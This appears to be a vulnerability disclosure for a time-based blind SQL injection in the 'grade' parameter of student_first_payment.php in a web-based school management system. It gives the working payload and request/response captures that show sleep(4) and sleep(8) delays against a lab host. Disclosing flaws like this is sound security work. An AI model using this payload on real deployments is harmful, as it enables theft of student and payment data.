

SQL injection vulnerability exists in grade parameter of /view/student_first_payment.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/view/student_first_payment.php?grade='%2B(select(0)from(select(sleep(4)))v)%2B'&id=&index=index HTTP/1.1
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab shows the following details:

- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 16:27:39 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 5776

The response body contains HTML code, including a warning message and a modal dialog. The warning message states: 'Warning: count(): Parameter must be an array or an object that implements Countable in E:\phpstudy\phpstudy_pro\WWW\std1\view\student_first_payment.php on line 10'. The modal dialog has the class 'modal msk-fade' and the id 'modalINV'.

Sleep time is 8s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab displays the following details:

- Method: GET
- URL: /std1/view/student_first_payment.php?grade='%2B(select(0)from(select(sleep(8)))v)%2B'&id=&index=index HTTP/1.1
- Accept: */*
- X-Requested-With: XMLHttpRequest
- Referer: http://192.168.31.163/std1
- Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
- Accept-Encoding: gzip, deflate, br
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
- Host: 192.168.31.163
- Connection: Keep-alive

The 'Response' tab shows the following details:

- Status: 200 OK
- Server: nginx/1.15.11
- Date: Thu, 18 Apr 2024 16:28:05 GMT
- Content-Type: text/html; charset=UTF-8
- Connection: keep-alive
- X-Powered-By: PHP/7.3.4
- Content-Length: 5776

The response body contains HTML code, including a warning message and a modal dialog. The warning message states: 'Warning: count(): Parameter must be an array or an object that implements Countable in E:\phpstudy\phpstudy_pro\WWW\std1\view\student_first_payment.php on line 10'. The modal dialog has the class 'modal msk-fade' and the id 'modalINV'.

Payload: grade='%2B(select(0)from(select(sleep(4)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>